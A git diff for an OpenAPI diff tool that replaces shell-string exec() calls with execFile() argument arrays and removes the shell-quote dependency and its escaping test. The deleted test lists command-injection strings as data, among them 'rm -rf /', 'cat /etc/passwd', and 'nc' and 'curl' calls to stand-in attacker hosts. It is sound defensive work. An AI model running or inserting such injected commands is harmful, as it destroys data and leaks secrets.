diff --git a/CHANGELOG.md b/CHANGELOG.md index b7eff28f..19967daa 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ ## 0.12.0 2025-08-29 - replaced dependency 'request' with built-in fetch() API +- replaced child_process.exec() with execFile() - require Node >= 20 ## 0.11.0 2025-08-11 diff --git a/package-lock.json b/package-lock.json index f67b4103..b9ecde2d 100644 --- a/package-lock.json +++ b/package-lock.json @@ -25,7 +25,6 @@ "lodash": "^4.17.21", "minimist": "^1.2.8", "set-value": "^4.1.0", - "shell-quote": "^1.8.3", "source-map": "^0.7.4", "tslib": "^2.6.3", "winston": "^3.13.0", @@ -42,7 +41,6 @@ "@types/js-yaml": "^3.12.1", "@types/json-pointer": "^1.0.30", "@types/node": "^20.0.0", - "@types/shell-quote": "^1.7.5", "@types/yargs": "^13.0.0", "eslint": "^8.57.0", "jest": "^29.7.0", @@ -1492,13 +1490,6 @@ "undici-types": "~6.21.0" } }, - "node_modules/@types/shell-quote": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/@types/shell-quote/-/shell-quote-1.7.5.tgz", - "integrity": "sha512-+UE8GAGRPbJVQDdxi16dgadcBfQ+KG2vgZhV1+3A1XmHbmwcdwhCUwIdy+d3pAGrbvgRoVSjeI9vOWyq376Yzw==", - "dev": true, - "license": "MIT" - }, "node_modules/@types/stack-utils": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/@types/stack-utils/-/stack-utils-2.0.3.tgz", @@ -5579,18 +5570,6 @@ "node": ">=8" } }, - "node_modules/shell-quote": { - "version": "1.8.3", - "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.3.tgz", - "integrity": "sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQfhZpbszZnYur5DUljTcCHii5LC3J5E0yeO/1LIMyH+UvHQgyw==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, "node_modules/side-channel": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.0.tgz", diff --git a/package.json b/package.json index be7825d3..45801875 100644 --- a/package.json +++ b/package.json @@ -25,7 +25,6 @@ "lodash": "^4.17.21", "minimist": "^1.2.8", "set-value": "^4.1.0", - "shell-quote": "^1.8.3", "source-map": "^0.7.4", "tslib": "^2.6.3", "winston": "^3.13.0", @@ -39,7 +38,6 @@ "@types/js-yaml": "^3.12.1", "@types/json-pointer": "^1.0.30", "@types/node": "^20.0.0", - "@types/shell-quote": "^1.7.5", "@types/yargs": "^13.0.0", "eslint": "^8.57.0", "jest": "^29.7.0", diff --git a/src/lib/validators/openApiDiff.ts b/src/lib/validators/openApiDiff.ts index 24197078..21d5d70c 100644 --- a/src/lib/validators/openApiDiff.ts +++ b/src/lib/validators/openApiDiff.ts @@ -2,7 +2,6 @@ // Licensed under the MIT License. See License.txt in the project root for license information. import * as asyncFs from "@ts-common/fs" -import * as jsonParser from "@ts-common/json-parser" import { getFilePosition } from "@ts-common/source-map" import * as child_process from "child_process" import * as fs from "fs" @@ -10,7 +9,6 @@ import JSON_Pointer from "json-pointer" import * as jsonRefs from "json-refs" import * as os from "os" import * as path from "path" -import { quote } from "shell-quote" import * as sourceMap from "source-map" import * as util from "util" import { log } from "../util/logging" @@ -18,7 +16,7 @@ import { ResolveSwagger } from "../util/resolveSwagger" import { pathToJsonPointer } from "../util/utils" const _ = require("lodash") -const exec = util.promisify(child_process.exec) +const execFile = util.promisify(child_process.execFile) export type Options = { readonly consoleLogLevel?: unknown @@ -83,28 +81,6 @@ const updateChangeProperties = (change: ChangeProperties, pf: ProcessedFile): Ch } } -/** - * Safely escapes shell arguments for cross-platform compatibility - * @param arg The argument to escape - * @returns The safely escaped argument - */ -function escapeShellArg(arg: string): string { - if (typeof arg !== "string") { - throw new Error("Argument must be a string") - } - - if (process.platform === "win32") { - // For Windows cmd.exe, wrap in double quotes and escape internal quotes - // This handles paths with spaces and special characters safely - // Double quotes are escaped by doubling them in Windows - return `"${arg.replace(/"/g, '""')}"` - } else { - // On Unix-like systems, use shell-quote for proper escaping - // shell-quote handles all edge cases including spaces, special chars, etc. - return quote([arg]) - } -} - /** * @class * Open API Diff class. @@ -165,19 +141,19 @@ export class OpenApiDiff { } /** - * Gets path to the autorest application. + * Gets file and args to the autorest application. * - * @returns {string} Path to the autorest app.js file. + * @returns {{ file: string; args: string[] }} File and args to the autorest app.js file. */ - public autoRestPath(): string { - log.silly(`autoRestPath is being called`) + public autoRestFileArgs(): { file: string; args: string[] } { + log.silly(`autoRestFileArgs is being called`) // When oad is installed globally { const result = path.join(__dirname, "..", "..", "..", "node_modules", "autorest", "dist", "app.js") if (fs.existsSync(result)) { log.silly(`Found autoRest:${result} `) - return `node ${escapeShellArg(result)}` + return { file: "node", args: [result] } } } @@ -186,7 +162,7 @@ export class OpenApiDiff { const result = path.join(__dirname, "..", "..", "..", "..", "..", "autorest", "dist", "app.js") if (fs.existsSync(result)) { log.silly(`Found autoRest:${result} `) - return `node ${escapeShellArg(result)}` + return { file: "node", args: [result] } } } @@ -195,12 +171,12 @@ export class OpenApiDiff { const result = path.resolve("node_modules/.bin/autorest") if (fs.existsSync(result)) { log.silly(`Found autoRest:${result} `) - return escapeShellArg(result) + return { file: result, args: [] } } } // Assume that autorest is in the path - return "autorest" + return { file: "autorest", args: [] } } /** @@ -211,7 +187,7 @@ export class OpenApiDiff { public openApiDiffDllPath(): string { log.silly(`openApiDiffDllPath is being called`) - return escapeShellArg(path.join(__dirname, "..", "..", "..", "dlls", "OpenApiDiff.dll")) + return path.join(__dirname, "..", "..", "..", "dlls", "OpenApiDiff.dll") } /** @@ -250,16 +226,24 @@ export class OpenApiDiff { const outputFolder = await fs.promises.mkdtemp(path.join(os.tmpdir(), "oad-")) const outputFilePath = path.join(outputFolder, `${outputFileName}.json`) const outputMapFilePath = path.join(outputFolder, `${outputFileName}.map`) - // Cross-platform shell argument escaping - behavior is validated in shellEscapingTest.ts - const autoRestCmd = tagName - ? `${this.autoRestPath()} ${escapeShellArg(swaggerPath)} --v2 --tag=${escapeShellArg(tagName)} --output-artifact=swagger-document.json` + - ` --output-artifact=swagger-document.map --output-file=${escapeShellArg(outputFileName)} --output-folder=${escapeShellArg(outputFolder)}` - : `${this.autoRestPath()} --v2 --input-file=${escapeShellArg(swaggerPath)} --output-artifact=swagger-document.json` + - ` --output-artifact=swagger-document.map --output-file=${escapeShellArg(outputFileName)} --output-folder=${escapeShellArg(outputFolder)}` - log.debug(`Executing: "${autoRestCmd}"`) + const { file: autoRestFile, args: autoRestArgs } = this.autoRestFileArgs() + + const swaggerArgs = tagName ? [swaggerPath, `--tag=${tagName}`] : [`--input-file=${swaggerPath}`] + + const commonArgs = [ + "--v2", + "--output-artifact=swagger-document.json", + "--output-artifact=swagger-document.map", + `--output-file=${outputFileName}`, + `--output-folder=${outputFolder}` + ] + + const args = [...autoRestArgs, ...swaggerArgs, ...commonArgs] + + log.debug(`Executing: "${autoRestFile} ${args.join(" ")}"`) - const { stderr } = await exec(autoRestCmd, { + const { stderr } = await execFile(autoRestFile, args, { encoding: "utf8", maxBuffer: 1024 * 1024 * 64, env: { ...process.env, NODE_OPTIONS: "--max-old-space-size=8192" } @@ -319,10 +303,11 @@ export class OpenApiDiff { throw new Error(`File "${newSwagger}" not found.`) } - const cmd = `${this.dotNetPath()} ${this.openApiDiffDllPath()} -o ${oldSwagger} -n ${newSwagger}` + const file = this.dotNetPath() + const args = [this.openApiDiffDllPath(), "-o", oldSwagger, "-n", newSwagger] - log.debug(`Executing: "${cmd}"`) - const { stdout } = await exec(cmd, { encoding: "utf8", maxBuffer: 1024 * 1024 * 64 }) + log.debug(`Executing: "${file} ${args.join(" ")}"`) + const { stdout } = await execFile(file, args, { encoding: "utf8", maxBuffer: 1024 * 1024 * 64 }) const resultJson = JSON.parse(stdout) as Messages const updatedJson = resultJson.map(message => ({ diff --git a/src/test/shellEscapingTest.ts b/src/test/shellEscapingTest.ts deleted file mode 100644 index 74ca5314..00000000 --- a/src/test/shellEscapingTest.ts +++ /dev/null @@ -1,116 +0,0 @@ -import * as assert from "assert" -import { quote } from "shell-quote" - -// Test the shell-quote library integration to ensure our security fix works correctly -test("shell escaping with quote function", () => { - // Test normal filenames (should not be escaped) - const normalFile = "simple-file.json" - const escapedNormal = quote([normalFile]) - assert.strictEqual(escapedNormal, normalFile) - - // Test filenames with spaces (should be quoted) - const fileWithSpaces = "file with spaces.json" - const escapedSpaces = quote([fileWithSpaces]) - assert.strictEqual(escapedSpaces, "'file with spaces.json'") - - // Test dangerous shell metacharacters (should be escaped) - const dangerousFile = "file;with&dangerous|chars$.json" - const escapedDangerous = quote([dangerousFile]) - // shell-quote uses backslash escaping for certain characters - assert.ok(escapedDangerous.includes("\\;")) - assert.ok(escapedDangerous.includes("\\&")) - assert.ok(escapedDangerous.includes("\\|")) - assert.ok(escapedDangerous.includes("\\$")) -}) - -test("autorest command construction with dangerous inputs", () => { - // Simulate the command construction logic from processViaAutoRest - const autoRestPath = "/usr/bin/autorest" - - // Test with dangerous file paths - const dangerousSwaggerPath = "/tmp/file;rm -rf /.json" - const dangerousOutputFile = "output;evil&command" - const dangerousTag = "tag$(evil)" - - // Build command like in processViaAutoRest with escaping - const autoRestCmd = - autoRestPath + - " " + - quote([dangerousSwaggerPath]) + - " --v2 --tag=" + - quote([dangerousTag]) + - " --output-artifact=swagger-document.json --output-artifact=swagger-document.map --output-file=" + - quote([dangerousOutputFile]) - - // Verify that dangerous parts are properly escaped/quoted - // Files with spaces get quoted, dangerous chars get backslash-escaped - assert.ok(autoRestCmd.includes("'/tmp/file;rm -rf /.json'")) // quoted because of spaces - assert.ok(autoRestCmd.includes("output\\;evil\\&command")) // backslash-escaped - assert.ok(autoRestCmd.includes("tag\\$\\(evil\\)")) // backslash-escaped - - // Verify that the command structure is maintained - assert.ok(autoRestCmd.includes("--v2")) - assert.ok(autoRestCmd.includes("--tag=")) - assert.ok(autoRestCmd.includes("--output-file=")) -}) - -test("autorest command construction without tag", () => { - const autoRestPath = "/usr/bin/autorest" - const swaggerPath = "/tmp/test file.json" - const outputFile = "output file" - const outputFolder = "/tmp/output folder" - - // Build command without tag (different structure) - const autoRestCmd = - `${autoRestPath} --v2 --input-file=${quote([swaggerPath])} --output-artifact=swagger-document.json` + - ` --output-artifact=swagger-document.map --output-file=${quote([outputFile])} --output-folder=${quote([outputFolder])}` - - // Verify correct command structure for non-tagged case - assert.ok(autoRestCmd.includes("--input-file=")) - assert.ok(!autoRestCmd.includes("--tag=")) - assert.ok(autoRestCmd.includes("--v2")) - - // Verify spaces are properly quoted - assert.ok(autoRestCmd.includes("'/tmp/test file.json'")) - assert.ok(autoRestCmd.includes("'output file'")) - assert.ok(autoRestCmd.includes("'/tmp/output folder'")) -}) - -test("command injection prevention", () => { - // Test various command injection attempts - const injectionAttempts = [ - "file.json; rm -rf /", - "file.json && cat /etc/passwd", - "file.json | nc attacker.com 1234", - "file.json $(curl evil.com)", - "file.json `wget malware.com`", - "file.json & background-evil-command" - ] - - injectionAttempts.forEach(attempt => { - const escaped = quote([attempt]) - // Verify that the dangerous parts cannot be executed as separate commands - // They should either be quoted or have dangerous chars escaped - const hasDangerousUnescaped = /[^\\][;&|$`]/.test(escaped) && !escaped.includes("'") - assert.ok(!hasDangerousUnescaped, `Injection attempt not properly escaped: ${attempt} -> ${escaped}`) - }) -}) - -test("edge cases and special characters", () => { - // Test empty string - assert.strictEqual(quote([""]), "''") - - // Test string with only spaces - assert.strictEqual(quote([" "]), "' '") - - // Test string with newlines - const withNewlines = "file\nwith\nnewlines.json" - const escapedNewlines = quote([withNewlines]) - // Should be safely handled - assert.ok(typeof escapedNewlines === "string") - - // Test unicode and special chars - const unicodeFile = "файл.json" - const escapedUnicode = quote([unicodeFile]) - assert.ok(escapedUnicode.includes("файл")) -})